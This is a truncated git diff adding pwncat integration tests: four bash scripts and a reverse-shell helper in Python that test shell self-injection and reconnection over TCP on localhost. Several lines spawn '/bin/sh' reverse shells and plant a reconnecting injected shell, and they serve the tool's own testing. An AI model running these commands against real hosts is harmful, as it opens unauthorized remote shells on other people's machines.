"${srv_stdout}" +} + + +# ------------------------------------------------------------------------------------------------- +# MAIN ENTRYPOINT +# ------------------------------------------------------------------------------------------------- + +for curr_round in $(seq "${RUNS}"); do + # PwncatInjectListener opts RevShell opts + # BIND ON ANY + run_test "-l ${RPORT} --self-inject /bin/sh:${RHOST}:${RPORT} -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "1" "1" "${curr_round}" "${RUNS}" +done diff --git a/tests/integration/30-cnc---self_inject/001---tcp---revshell-multi_byte-banner-suffix.sh b/tests/integration/30-cnc---self_inject/001---tcp---revshell-multi_byte-banner-suffix.sh new file mode 100755 index 00000000..0c200eac --- /dev/null +++ b/tests/integration/30-cnc---self_inject/001---tcp---revshell-multi_byte-banner-suffix.sh @@ -0,0 +1,214 @@ +#!/usr/bin/env bash + +set -e +set -u +set -o pipefail + +SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" +BINARY="${SCRIPTPATH}/../../../bin/pwncat" +# shellcheck disable=SC1090 +source "${SOURCEPATH}" + + +# ------------------------------------------------------------------------------------------------- +# GLOBALS +# ------------------------------------------------------------------------------------------------- + +RHOST="${1:-localhost}" +RPORT="${2:-4444}" + +STARTUP_WAIT="${3:-4}" +RUNS="${4:-1}" + +PYTHON="python${5:-}" +PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" + + +ONE_BYTE="0" +SEND_DELAY="0" +BANNER="banner\n" +PREFIX1="" +PREFIX2="" +SUFFIX1="[0] cytopia at hostname in ~/tmp/pwncat (☿ pwncat.git release-0.1.0+)\n" +SUFFIX2="tmux:>bash> " + + +# ------------------------------------------------------------------------------------------------- +# TEST FUNCTIONS +# ------------------------------------------------------------------------------------------------- +print_test_case "${PYVER}" + +run_test() { + local srv_opts="${1// / }" + local cli_opts="${2// / }" + local curr_mutation="${3}" + local total_mutation="${4}" + local curr_round="${5}" + local total_round="${6}" + #local data= + #local data_or= + + print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" + run "sleep 1" + + ### + ### Create data and files + ### + data="whoami\\n" + expect="$(whoami)\\n" + expect_or="$(whoami)\\r\\n" + srv_stdout="$(tmp_file)" + srv_stderr="$(tmp_file)" + cli_stdout="$(tmp_file)" + cli_stderr="$(tmp_file)" + srv2_stdout="$(tmp_file)" + srv2_stderr="$(tmp_file)" + + + # -------------------------------------------------------------------------------- + # START: SERVER + # -------------------------------------------------------------------------------- + print_h2 "(1/8) Start: PwncatInjectListener" + + # Start Server + print_info "Start PwncatInjectListener" + # shellcheck disable=SC2086 + if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then + printf "" + fi + + # Wait until Server is up + run "sleep ${STARTUP_WAIT}" + + # [SERVER] Ensure Server is running + test_case_instance_is_running "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + # [SERVER] Ensure Server has no errors + test_case_instance_has_no_errors "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + + # -------------------------------------------------------------------------------- + # START: CLIENT + # -------------------------------------------------------------------------------- + print_h2 "(2/8) Start: RevShell" + + # Start Client + print_info "Start RevShell" + # shellcheck disable=SC2086 + if ! cli_pid="$( run_bg "" "${PYTHON}" ${SCRIPTPATH}/revshell.py ${RHOST} ${RPORT} "${ONE_BYTE}" "${SEND_DELAY}" "${BANNER}" "${PREFIX1}" "${PREFIX2}" "${SUFFIX1}" "${SUFFIX2}" "${cli_stdout}" "${cli_stderr}" )"; then + printf "" + fi + + # Wait until Client is done + run "sleep ${STARTUP_WAIT}" + + # [SERVER] Ensure Client has no errors + test_case_instance_has_no_errors "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" + + # -------------------------------------------------------------------------------- + # TEST: Inject shell is running + # -------------------------------------------------------------------------------- + print_h2 "(3/8) Test: Inject shell is running" + CURR=0 + TRIES=80 + # shellcheck disable=SC2009 + while [ "$(ps auxw | grep -v grep | grep reconn-wait | awk '{print $2}' | wc -l)" -ne "1" ]; do + printf "." + sleep 1 + CURR=$(( CURR + 1 )) + if [ "${CURR}" -gt "${TRIES}" ]; then + kill_pid "${srv_pid}" || true + kill_pid "${cli_pid}" || true + print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" + print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" + print_file "RevShell] - [/dev/stderr" "${cli_stderr}" + print_file "RevShell] - [/dev/stdout" "${cli_stdout}" + FILES="$(grep 'tmpfile:' "${srv_stdout}" | sed 's/.*tmpfile: //g' | awk -F"'" '{print $2}')" + echo "${FILES}"| while read -r line; do + echo "${line}" + print_file "Remote tmpfile" "${line}" || true + done + print_error "Inject shell is not running" + run "ps" + run "ps -a" || true + run "ps -au" || true + run "ps -aux" || true + run "ps a" || true + run "ps au" || true + run "ps aux" || true + run "ps -ef" || true + exit 1 + fi + done + + + # -------------------------------------------------------------------------------- + # STOP: INSTANCES + # -------------------------------------------------------------------------------- + print_h2 "(4/8) Stop: Instances" + + run "kill -9 ${cli_pid} || true" + run "kill ${srv_pid} || true" + + + # -------------------------------------------------------------------------------- + # START: SERVER + # -------------------------------------------------------------------------------- + print_h2 "(6/8) Start: FinalListener" + + # Start Server + run "sleep 5" + print_info "Start FinalListener" + # shellcheck disable=SC2086 + if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" -l ${RPORT} -vvvv "${srv2_stdout}" "${srv2_stderr}" )"; then + printf "" + fi + + + # -------------------------------------------------------------------------------- + # DATA TRANSFER + # -------------------------------------------------------------------------------- + print_h2 "(7/8) Transfer: FinalListener -> Pwncat -> FinalListener" + + # [CLIENT -> SERVER -> CLIENT] + wait_for_data_transferred "" "${expect}" "${expect_or}" "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" + + + # -------------------------------------------------------------------------------- + # TEST: Server shut down automatically + # -------------------------------------------------------------------------------- + print_h2 "(8/8) Test: FinalListener shut down automatically" + + ## Give some time for shutdown + #run "sleep 5" + + ## [SERVER] Ensure Server has quit automatically + #test_case_instance_is_stopped "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv_stderr}" + + ## [SERVER] Ensure Server has no errors + #test_case_instance_has_no_errors "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" + run "kill ${srv_pid}" || true + + + # -------------------------------------------------------------------------------- + # CLEANUP + # -------------------------------------------------------------------------------- + print_h2 "(8/8) Cleanup" + + run "ps auxw | grep -v grep | grep reconn-wait | awk '{print \$2}' | xargs kill" || true + + print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" + print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" +} + + +# ------------------------------------------------------------------------------------------------- +# MAIN ENTRYPOINT +# ------------------------------------------------------------------------------------------------- + +for curr_round in $(seq "${RUNS}"); do + # PwncatInjectListener opts RevShell opts + # BIND ON ANY + run_test "-l ${RPORT} --self-inject /bin/sh:${RHOST}:${RPORT} -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "1" "1" "${curr_round}" "${RUNS}" +done diff --git a/tests/integration/30-cnc---self_inject/002---tcp---revshell-single_byte-banner-suffix.sh b/tests/integration/30-cnc---self_inject/002---tcp---revshell-single_byte-banner-suffix.sh new file mode 100755 index 00000000..7441d385 --- /dev/null +++ b/tests/integration/30-cnc---self_inject/002---tcp---revshell-single_byte-banner-suffix.sh @@ -0,0 +1,214 @@ +#!/usr/bin/env bash + +set -e +set -u +set -o pipefail + +SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" +BINARY="${SCRIPTPATH}/../../../bin/pwncat" +# shellcheck disable=SC1090 +source "${SOURCEPATH}" + + +# ------------------------------------------------------------------------------------------------- +# GLOBALS +# ------------------------------------------------------------------------------------------------- + +RHOST="${1:-localhost}" +RPORT="${2:-4444}" + +STARTUP_WAIT="${3:-4}" +RUNS="${4:-1}" + +PYTHON="python${5:-}" +PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" + + +ONE_BYTE="1" +SEND_DELAY="0" +BANNER="banner\n" +PREFIX1="" +PREFIX2="" +SUFFIX1="[0] cytopia at hostname in ~/tmp/pwncat (☿ pwncat.git release-0.1.0+)\n" +SUFFIX2="tmux:>bash> " + + +# ------------------------------------------------------------------------------------------------- +# TEST FUNCTIONS +# ------------------------------------------------------------------------------------------------- +print_test_case "${PYVER}" + +run_test() { + local srv_opts="${1// / }" + local cli_opts="${2// / }" + local curr_mutation="${3}" + local total_mutation="${4}" + local curr_round="${5}" + local total_round="${6}" + #local data= + #local data_or= + + print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" + run "sleep 1" + + ### + ### Create data and files + ### + data="whoami\\n" + expect="$(whoami)\\n" + expect_or="$(whoami)\\r\\n" + srv_stdout="$(tmp_file)" + srv_stderr="$(tmp_file)" + cli_stdout="$(tmp_file)" + cli_stderr="$(tmp_file)" + srv2_stdout="$(tmp_file)" + srv2_stderr="$(tmp_file)" + + + # -------------------------------------------------------------------------------- + # START: SERVER + # -------------------------------------------------------------------------------- + print_h2 "(1/8) Start: PwncatInjectListener" + + # Start Server + print_info "Start PwncatInjectListener" + # shellcheck disable=SC2086 + if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then + printf "" + fi + + # Wait until Server is up + run "sleep ${STARTUP_WAIT}" + + # [SERVER] Ensure Server is running + test_case_instance_is_running "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + # [SERVER] Ensure Server has no errors + test_case_instance_has_no_errors "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + + # -------------------------------------------------------------------------------- + # START: CLIENT + # -------------------------------------------------------------------------------- + print_h2 "(2/8) Start: RevShell" + + # Start Client + print_info "Start RevShell" + # shellcheck disable=SC2086 + if ! cli_pid="$( run_bg "" "${PYTHON}" ${SCRIPTPATH}/revshell.py ${RHOST} ${RPORT} "${ONE_BYTE}" "${SEND_DELAY}" "${BANNER}" "${PREFIX1}" "${PREFIX2}" "${SUFFIX1}" "${SUFFIX2}" "${cli_stdout}" "${cli_stderr}" )"; then + printf "" + fi + + # Wait until Client is done + run "sleep ${STARTUP_WAIT}" + + # [SERVER] Ensure Client has no errors + test_case_instance_has_no_errors "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" + + # -------------------------------------------------------------------------------- + # TEST: Inject shell is running + # -------------------------------------------------------------------------------- + print_h2 "(3/8) Test: Inject shell is running" + CURR=0 + TRIES=80 + # shellcheck disable=SC2009 + while [ "$(ps auxw | grep -v grep | grep reconn-wait | awk '{print $2}' | wc -l)" -ne "1" ]; do + printf "." + sleep 1 + CURR=$(( CURR + 1 )) + if [ "${CURR}" -gt "${TRIES}" ]; then + kill_pid "${srv_pid}" || true + kill_pid "${cli_pid}" || true + print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" + print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" + print_file "RevShell] - [/dev/stderr" "${cli_stderr}" + print_file "RevShell] - [/dev/stdout" "${cli_stdout}" + FILES="$(grep 'tmpfile:' "${srv_stdout}" | sed 's/.*tmpfile: //g' | awk -F"'" '{print $2}')" + echo "${FILES}"| while read -r line; do + echo "${line}" + print_file "Remote tmpfile" "${line}" || true + done + print_error "Inject shell is not running" + run "ps" + run "ps -a" || true + run "ps -au" || true + run "ps -aux" || true + run "ps a" || true + run "ps au" || true + run "ps aux" || true + run "ps -ef" || true + exit 1 + fi + done + + + # -------------------------------------------------------------------------------- + # STOP: INSTANCES + # -------------------------------------------------------------------------------- + print_h2 "(4/8) Stop: Instances" + + run "kill -9 ${cli_pid} || true" + run "kill ${srv_pid} || true" + + + # -------------------------------------------------------------------------------- + # START: SERVER + # -------------------------------------------------------------------------------- + print_h2 "(6/8) Start: FinalListener" + + # Start Server + run "sleep 5" + print_info "Start FinalListener" + # shellcheck disable=SC2086 + if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" -l ${RPORT} -vvvv "${srv2_stdout}" "${srv2_stderr}" )"; then + printf "" + fi + + + # -------------------------------------------------------------------------------- + # DATA TRANSFER + # -------------------------------------------------------------------------------- + print_h2 "(7/8) Transfer: FinalListener -> Pwncat -> FinalListener" + + # [CLIENT -> SERVER -> CLIENT] + wait_for_data_transferred "" "${expect}" "${expect_or}" "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" + + + # -------------------------------------------------------------------------------- + # TEST: Server shut down automatically + # -------------------------------------------------------------------------------- + print_h2 "(8/8) Test: FinalListener shut down automatically" + + ## Give some time for shutdown + #run "sleep 5" + + ## [SERVER] Ensure Server has quit automatically + #test_case_instance_is_stopped "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv_stderr}" + + ## [SERVER] Ensure Server has no errors + #test_case_instance_has_no_errors "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" + run "kill ${srv_pid}" || true + + + # -------------------------------------------------------------------------------- + # CLEANUP + # -------------------------------------------------------------------------------- + print_h2 "(8/8) Cleanup" + + run "ps auxw | grep -v grep | grep reconn-wait | awk '{print \$2}' | xargs kill" || true + + print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" + print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" +} + + +# ------------------------------------------------------------------------------------------------- +# MAIN ENTRYPOINT +# ------------------------------------------------------------------------------------------------- + +for curr_round in $(seq "${RUNS}"); do + # PwncatInjectListener opts RevShell opts + # BIND ON ANY + run_test "-l ${RPORT} --self-inject /bin/sh:${RHOST}:${RPORT} -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "1" "1" "${curr_round}" "${RUNS}" +done diff --git a/tests/integration/30-cnc---self_inject/003---tcp---revshell-multi_byte-banner-suffix-delayed.sh b/tests/integration/30-cnc---self_inject/003---tcp---revshell-multi_byte-banner-suffix-delayed.sh new file mode 100755 index 00000000..2e22d2fd --- /dev/null +++ b/tests/integration/30-cnc---self_inject/003---tcp---revshell-multi_byte-banner-suffix-delayed.sh @@ -0,0 +1,214 @@ +#!/usr/bin/env bash + +set -e +set -u +set -o pipefail + +SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" +BINARY="${SCRIPTPATH}/../../../bin/pwncat" +# shellcheck disable=SC1090 +source "${SOURCEPATH}" + + +# ------------------------------------------------------------------------------------------------- +# GLOBALS +# ------------------------------------------------------------------------------------------------- + +RHOST="${1:-localhost}" +RPORT="${2:-4444}" + +STARTUP_WAIT="${3:-4}" +RUNS="${4:-1}" + +PYTHON="python${5:-}" +PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" + + +ONE_BYTE="0" +SEND_DELAY="0.5" +BANNER="banner\n" +PREFIX1="" +PREFIX2="" +SUFFIX1="[0] cytopia at hostname in ~/tmp/pwncat (☿ pwncat.git release-0.1.0+)\n" +SUFFIX2="tmux:>bash> " + + +# ------------------------------------------------------------------------------------------------- +# TEST FUNCTIONS +# ------------------------------------------------------------------------------------------------- +print_test_case "${PYVER}" + +run_test() { + local srv_opts="${1// / }" + local cli_opts="${2// / }" + local curr_mutation="${3}" + local total_mutation="${4}" + local curr_round="${5}" + local total_round="${6}" + #local data= + #local data_or= + + print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" + run "sleep 1" + + ### + ### Create data and files + ### + data="whoami\\n" + expect="$(whoami)\\n" + expect_or="$(whoami)\\r\\n" + srv_stdout="$(tmp_file)" + srv_stderr="$(tmp_file)" + cli_stdout="$(tmp_file)" + cli_stderr="$(tmp_file)" + srv2_stdout="$(tmp_file)" + srv2_stderr="$(tmp_file)" + + + # -------------------------------------------------------------------------------- + # START: SERVER + # -------------------------------------------------------------------------------- + print_h2 "(1/8) Start: PwncatInjectListener" + + # Start Server + print_info "Start PwncatInjectListener" + # shellcheck disable=SC2086 + if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then + printf "" + fi + + # Wait until Server is up + run "sleep ${STARTUP_WAIT}" + + # [SERVER] Ensure Server is running + test_case_instance_is_running "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + # [SERVER] Ensure Server has no errors + test_case_instance_has_no_errors "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + + # -------------------------------------------------------------------------------- + # START: CLIENT + # -------------------------------------------------------------------------------- + print_h2 "(2/8) Start: RevShell" + + # Start Client + print_info "Start RevShell" + # shellcheck disable=SC2086 + if ! cli_pid="$( run_bg "" "${PYTHON}" ${SCRIPTPATH}/revshell.py ${RHOST} ${RPORT} "${ONE_BYTE}" "${SEND_DELAY}" "${BANNER}" "${PREFIX1}" "${PREFIX2}" "${SUFFIX1}" "${SUFFIX2}" "${cli_stdout}" "${cli_stderr}" )"; then + printf "" + fi + + # Wait until Client is done + run "sleep ${STARTUP_WAIT}" + + # [SERVER] Ensure Client has no errors + test_case_instance_has_no_errors "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" + + # -------------------------------------------------------------------------------- + # TEST: Inject shell is running + # -------------------------------------------------------------------------------- + print_h2 "(3/8) Test: Inject shell is running" + CURR=0 + TRIES=600 + # shellcheck disable=SC2009 + while [ "$(ps auxw | grep -v grep | grep reconn-wait | awk '{print $2}' | wc -l)" -ne "1" ]; do + printf "." + sleep 1 + CURR=$(( CURR + 1 )) + if [ "${CURR}" -gt "${TRIES}" ]; then + kill_pid "${srv_pid}" || true + kill_pid "${cli_pid}" || true + print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" + print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" + print_file "RevShell] - [/dev/stderr" "${cli_stderr}" + print_file "RevShell] - [/dev/stdout" "${cli_stdout}" + FILES="$(grep 'tmpfile:' "${srv_stdout}" | sed 's/.*tmpfile: //g' | awk -F"'" '{print $2}')" + echo "${FILES}"| while read -r line; do + echo "${line}" + print_file "Remote tmpfile" "${line}" || true + done + print_error "Inject shell is not running" + run "ps" + run "ps -a" || true + run "ps -au" || true + run "ps -aux" || true + run "ps a" || true + run "ps au" || true + run "ps aux" || true + run "ps -ef" || true + exit 1 + fi + done + + + # -------------------------------------------------------------------------------- + # STOP: INSTANCES + # -------------------------------------------------------------------------------- + print_h2 "(4/8) Stop: Instances" + + run "kill -9 ${cli_pid} || true" + run "kill ${srv_pid} || true" + + + # -------------------------------------------------------------------------------- + # START: SERVER + # -------------------------------------------------------------------------------- + print_h2 "(6/8) Start: FinalListener" + + # Start Server + run "sleep 5" + print_info "Start FinalListener" + # shellcheck disable=SC2086 + if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" -l ${RPORT} -vvvv "${srv2_stdout}" "${srv2_stderr}" )"; then + printf "" + fi + + + # -------------------------------------------------------------------------------- + # DATA TRANSFER + # -------------------------------------------------------------------------------- + print_h2 "(7/8) Transfer: FinalListener -> Pwncat -> FinalListener" + + # [CLIENT -> SERVER -> CLIENT] + wait_for_data_transferred "" "${expect}" "${expect_or}" "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" + + + # -------------------------------------------------------------------------------- + # TEST: Server shut down automatically + # -------------------------------------------------------------------------------- + print_h2 "(8/8) Test: FinalListener shut down automatically" + + ## Give some time for shutdown + #run "sleep 5" + + ## [SERVER] Ensure Server has quit automatically + #test_case_instance_is_stopped "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv_stderr}" + + ## [SERVER] Ensure Server has no errors + #test_case_instance_has_no_errors "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" + run "kill ${srv_pid}" || true + + + # -------------------------------------------------------------------------------- + # CLEANUP + # -------------------------------------------------------------------------------- + print_h2 "(8/8) Cleanup" + + run "ps auxw | grep -v grep | grep reconn-wait | awk '{print \$2}' | xargs kill" || true + + print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" + print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" +} + + +# ------------------------------------------------------------------------------------------------- +# MAIN ENTRYPOINT +# ------------------------------------------------------------------------------------------------- + +for curr_round in $(seq "${RUNS}"); do + # PwncatInjectListener opts RevShell opts + # BIND ON ANY + run_test "-l ${RPORT} --self-inject /bin/sh:${RHOST}:${RPORT} -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "1" "1" "${curr_round}" "${RUNS}" +done diff --git a/tests/integration/30-cnc---self_inject/004---tcp---revshell-single_byte-banner-suffix-delayed.sh b/tests/integration/30-cnc---self_inject/004---tcp---revshell-single_byte-banner-suffix-delayed.sh new file mode 100755 index 00000000..c358ec3c --- /dev/null +++ b/tests/integration/30-cnc---self_inject/004---tcp---revshell-single_byte-banner-suffix-delayed.sh @@ -0,0 +1,214 @@ +#!/usr/bin/env bash + +set -e +set -u +set -o pipefail + +SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" +BINARY="${SCRIPTPATH}/../../../bin/pwncat" +# shellcheck disable=SC1090 +source "${SOURCEPATH}" + + +# ------------------------------------------------------------------------------------------------- +# GLOBALS +# ------------------------------------------------------------------------------------------------- + +RHOST="${1:-localhost}" +RPORT="${2:-4444}" + +STARTUP_WAIT="${3:-4}" +RUNS="${4:-1}" + +PYTHON="python${5:-}" +PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" + + +ONE_BYTE="1" +SEND_DELAY="0.1" +BANNER="banner\n" +PREFIX1="" +PREFIX2="" +SUFFIX1="[0] cytopia at hostname in ~/tmp/pwncat (☿ pwncat.git release-0.1.0+)\n" +SUFFIX2="tmux:>bash> " + + +# ------------------------------------------------------------------------------------------------- +# TEST FUNCTIONS +# ------------------------------------------------------------------------------------------------- +print_test_case "${PYVER}" + +run_test() { + local srv_opts="${1// / }" + local cli_opts="${2// / }" + local curr_mutation="${3}" + local total_mutation="${4}" + local curr_round="${5}" + local total_round="${6}" + #local data= + #local data_or= + + print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" + run "sleep 1" + + ### + ### Create data and files + ### + data="whoami\\n" + expect="$(whoami)\\n" + expect_or="$(whoami)\\r\\n" + srv_stdout="$(tmp_file)" + srv_stderr="$(tmp_file)" + cli_stdout="$(tmp_file)" + cli_stderr="$(tmp_file)" + srv2_stdout="$(tmp_file)" + srv2_stderr="$(tmp_file)" + + + # -------------------------------------------------------------------------------- + # START: SERVER + # -------------------------------------------------------------------------------- + print_h2 "(1/8) Start: PwncatInjectListener" + + # Start Server + print_info "Start PwncatInjectListener" + # shellcheck disable=SC2086 + if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then + printf "" + fi + + # Wait until Server is up + run "sleep ${STARTUP_WAIT}" + + # [SERVER] Ensure Server is running + test_case_instance_is_running "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + # [SERVER] Ensure Server has no errors + test_case_instance_has_no_errors "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + + # -------------------------------------------------------------------------------- + # START: CLIENT + # -------------------------------------------------------------------------------- + print_h2 "(2/8) Start: RevShell" + + # Start Client + print_info "Start RevShell" + # shellcheck disable=SC2086 + if ! cli_pid="$( run_bg "" "${PYTHON}" ${SCRIPTPATH}/revshell.py ${RHOST} ${RPORT} "${ONE_BYTE}" "${SEND_DELAY}" "${BANNER}" "${PREFIX1}" "${PREFIX2}" "${SUFFIX1}" "${SUFFIX2}" "${cli_stdout}" "${cli_stderr}" )"; then + printf "" + fi + + # Wait until Client is done + run "sleep ${STARTUP_WAIT}" + + # [SERVER] Ensure Client has no errors + test_case_instance_has_no_errors "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" + + # -------------------------------------------------------------------------------- + # TEST: Inject shell is running + # -------------------------------------------------------------------------------- + print_h2 "(3/8) Test: Inject shell is running" + CURR=0 + TRIES=600 # This needs to be very long as we're receiving single bytes with delay. + # shellcheck disable=SC2009 + while [ "$(ps auxw | grep -v grep | grep reconn-wait | awk '{print $2}' | wc -l)" -ne "1" ]; do + printf "." + sleep 1 + CURR=$(( CURR + 1 )) + if [ "${CURR}" -gt "${TRIES}" ]; then + kill_pid "${srv_pid}" || true + kill_pid "${cli_pid}" || true + print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" + print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" + print_file "RevShell] - [/dev/stderr" "${cli_stderr}" + print_file "RevShell] - [/dev/stdout" "${cli_stdout}" + FILES="$(grep 'tmpfile:' "${srv_stdout}" | sed 's/.*tmpfile: //g' | awk -F"'" '{print $2}')" + echo "${FILES}"| while read -r line; do + echo "${line}" + print_file "Remote tmpfile" "${line}" || true + done + print_error "Inject shell is not running" + run "ps" + run "ps -a" || true + run "ps -au" || true + run "ps -aux" || true + run "ps a" || true + run "ps au" || true + run "ps aux" || true + run "ps -ef" || true + exit 1 + fi + done + + + # -------------------------------------------------------------------------------- + # STOP: INSTANCES + # -------------------------------------------------------------------------------- + print_h2 "(4/8) Stop: Instances" + + run "kill -9 ${cli_pid} || true" + run "kill ${srv_pid} || true" + + + # -------------------------------------------------------------------------------- + # START: SERVER + # -------------------------------------------------------------------------------- + print_h2 "(6/8) Start: FinalListener" + + # Start Server + run "sleep 5" + print_info "Start FinalListener" + # shellcheck disable=SC2086 + if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" -l ${RPORT} -vvvv "${srv2_stdout}" "${srv2_stderr}" )"; then + printf "" + fi + + + # -------------------------------------------------------------------------------- + # DATA TRANSFER + # -------------------------------------------------------------------------------- + print_h2 "(7/8) Transfer: FinalListener -> Pwncat -> FinalListener" + + # [CLIENT -> SERVER -> CLIENT] + wait_for_data_transferred "" "${expect}" "${expect_or}" "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" + + + # -------------------------------------------------------------------------------- + # TEST: Server shut down automatically + # -------------------------------------------------------------------------------- + print_h2 "(8/8) Test: FinalListener shut down automatically" + + ## Give some time for shutdown + #run "sleep 5" + + ## [SERVER] Ensure Server has quit automatically + #test_case_instance_is_stopped "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv_stderr}" + + ## [SERVER] Ensure Server has no errors + #test_case_instance_has_no_errors "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" + run "kill ${srv_pid}" || true + + + # -------------------------------------------------------------------------------- + # CLEANUP + # -------------------------------------------------------------------------------- + print_h2 "(8/8) Cleanup" + + run "ps auxw | grep -v grep | grep reconn-wait | awk '{print \$2}' | xargs kill" || true + + print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" + print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" +} + + +# ------------------------------------------------------------------------------------------------- +# MAIN ENTRYPOINT +# ------------------------------------------------------------------------------------------------- + +for curr_round in $(seq "${RUNS}"); do + # PwncatInjectListener opts RevShell opts + # BIND ON ANY + run_test "-l ${RPORT} --self-inject /bin/sh:${RHOST}:${RPORT} -vvvv" "${RHOST} ${RPORT} -e /bin/sh -vvvv" "1" "1" "${curr_round}" "${RUNS}" +done diff --git a/tests/integration/30-cnc---self_inject/bash b/tests/integration/30-cnc---self_inject/bash new file mode 100644 index 00000000..e69de29b diff --git a/tests/integration/30-cnc---self_inject/revshell.py b/tests/integration/30-cnc---self_inject/revshell.py new file mode 100644 index 00000000..7d6c464d --- /dev/null +++ b/tests/integration/30-cnc---self_inject/revshell.py @@ -0,0 +1,267 @@ +#!/usr/bin/env python +"""Reverse shell helper.""" + +import os +import socket +import sys +import time +import threading +from subprocess import PIPE +from subprocess import check_output +from subprocess import Popen +from subprocess import STDOUT + + +class MyQueue(object): + """Custom queue implementation.""" + + def __init__(self): + """Constructor.""" + self.lock = threading.Semaphore() + self.data = [] + + def qsize(self): + """Return queue size.""" + self.lock.acquire() + size = len(self.data) + self.lock.release() + return size + + def put(self, data): + """Add element to queue.""" + self.lock.acquire() + self.data.insert(0, data) + self.lock.release() + + def empty(self): + """Is the queue empty.""" + return self.qsize() == 0 + + def get(self): + """Pop and get last element.""" + self.lock.acquire() + data = self.data.pop() + self.lock.release() + return data + + +class IOCommand(object): + """IOCommand instance.""" + + def __init__(self, executable): + print("Command: finding path of: {}".format(executable)) + output = check_output(["which", executable]) + output = output.rstrip() + self.cmd = str(output.decode()) + print("Command: found path: {}".format(self.cmd)) + + print("Command: Getting env") + self.env = os.environ.copy() + print("Command: env: {}".format(repr(self.env))) + + self.proc = Popen( + self.cmd, + stdin=PIPE, + stdout=PIPE, + stderr=STDOUT, + bufsize=-1, + shell=False, + env=self.env, + ) + + def output(self): + """Command output.""" + while True: + # BLOCKING call + data = self.proc.stdout.read(1) + if not data: + 